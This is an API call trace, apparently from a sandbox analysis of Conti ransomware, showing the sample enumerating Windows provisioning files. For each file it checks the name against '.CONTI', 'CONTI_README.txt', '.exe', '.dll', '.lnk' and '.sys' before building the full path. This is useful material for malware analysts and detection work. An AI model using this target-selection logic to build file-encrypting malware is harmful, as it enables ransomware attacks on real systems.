	[0108.145] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.145] lstrlenW (lpString="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned 69
	[0108.145] GetProcessHeap () returned 0x1720000
	[0108.145] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6588d28
	[0108.145] lstrcpyW (in: lpString1=0x6588d28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.145] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.145] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml"
	[0108.147] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="175__C~1.PRO")) returned 1
	[0108.150] lstrcmpiW (lpString1="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.150] lstrcmpiW (lpString1="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.150] StrStrIW (lpFirst="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.150] StrStrIW (lpFirst="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.150] StrStrIW (lpFirst="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.150] StrStrIW (lpFirst="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.150] StrStrIW (lpFirst="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.150] StrStrIW (lpFirst="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.150] StrStrIW (lpFirst="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.150] StrStrIW (lpFirst="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.150] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.150] lstrlenW (lpString="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned 67
	[0108.150] GetProcessHeap () returned 0x1720000
	[0108.150] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6589100
	[0108.150] lstrcpyW (in: lpString1=0x6589100, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.150] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.150] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml"
	[0108.159] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", cAlternateFileName="176__C~1.PRO")) returned 1
	[0108.159] lstrcmpiW (lpString1="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.159] lstrcmpiW (lpString1="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.159] StrStrIW (lpFirst="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.159] StrStrIW (lpFirst="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.159] StrStrIW (lpFirst="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.159] StrStrIW (lpFirst="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.159] StrStrIW (lpFirst="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.159] StrStrIW (lpFirst="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.159] StrStrIW (lpFirst="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.159] StrStrIW (lpFirst="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.159] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.159] lstrlenW (lpString="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml") returned 67
	[0108.159] GetProcessHeap () returned 0x1720000
	[0108.159] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6589100
	[0108.159] lstrcpyW (in: lpString1=0x6589100, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.159] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.159] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml"
	[0108.162] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", cAlternateFileName="177__C~1.PRO")) returned 1
	[0108.166] lstrcmpiW (lpString1="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.166] lstrcmpiW (lpString1="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.166] StrStrIW (lpFirst="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.167] StrStrIW (lpFirst="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.167] StrStrIW (lpFirst="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.167] StrStrIW (lpFirst="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.167] StrStrIW (lpFirst="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.167] StrStrIW (lpFirst="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.167] StrStrIW (lpFirst="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.167] StrStrIW (lpFirst="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.167] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.167] lstrlenW (lpString="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml") returned 67
	[0108.167] GetProcessHeap () returned 0x1720000
	[0108.167] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6589620
	[0108.167] lstrcpyW (in: lpString1=0x6589620, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.167] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.167] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml"
	[0108.167] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", cAlternateFileName="178__C~1.PRO")) returned 1
	[0108.167] lstrcmpiW (lpString1="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.167] lstrcmpiW (lpString1="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.167] StrStrIW (lpFirst="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.167] StrStrIW (lpFirst="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.167] StrStrIW (lpFirst="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.167] StrStrIW (lpFirst="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.167] StrStrIW (lpFirst="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.167] StrStrIW (lpFirst="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.168] StrStrIW (lpFirst="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.168] StrStrIW (lpFirst="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.168] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.168] lstrlenW (lpString="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml") returned 67
	[0108.168] GetProcessHeap () returned 0x1720000
	[0108.168] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6589248
	[0108.168] lstrcpyW (in: lpString1=0x6589248, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.168] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.168] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml"
	[0108.168] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", cAlternateFileName="179__C~1.PRO")) returned 1
	[0108.168] lstrcmpiW (lpString1="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.168] lstrcmpiW (lpString1="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.168] StrStrIW (lpFirst="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.168] StrStrIW (lpFirst="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.168] StrStrIW (lpFirst="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.168] StrStrIW (lpFirst="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.168] StrStrIW (lpFirst="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.168] StrStrIW (lpFirst="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.168] StrStrIW (lpFirst="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.168] StrStrIW (lpFirst="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.168] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.168] lstrlenW (lpString="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml") returned 67
	[0108.168] GetProcessHeap () returned 0x1720000
	[0108.168] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x6589390
	[0108.168] lstrcpyW (in: lpString1=0x6589390, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.168] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.168] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml"
	[0108.168] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", cAlternateFileName="17__CO~1.PRO")) returned 1
	[0108.168] lstrcmpiW (lpString1="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.169] lstrcmpiW (lpString1="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.169] StrStrIW (lpFirst="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.169] StrStrIW (lpFirst="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.169] StrStrIW (lpFirst="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.169] StrStrIW (lpFirst="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.169] StrStrIW (lpFirst="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.169] StrStrIW (lpFirst="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.169] StrStrIW (lpFirst="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.169] StrStrIW (lpFirst="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.169] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.169] lstrlenW (lpString="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml") returned 66
	[0108.169] GetProcessHeap () returned 0x1720000
	[0108.169] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x65886c0
	[0108.169] lstrcpyW (in: lpString1=0x65886c0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.169] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.169] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml"
	[0108.169] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x906c07a8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x906c07a8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x906c07a8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", cAlternateFileName="180__C~1.PRO")) returned 1
	[0108.169] lstrcmpiW (lpString1="180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml", lpString2=".") returned 1
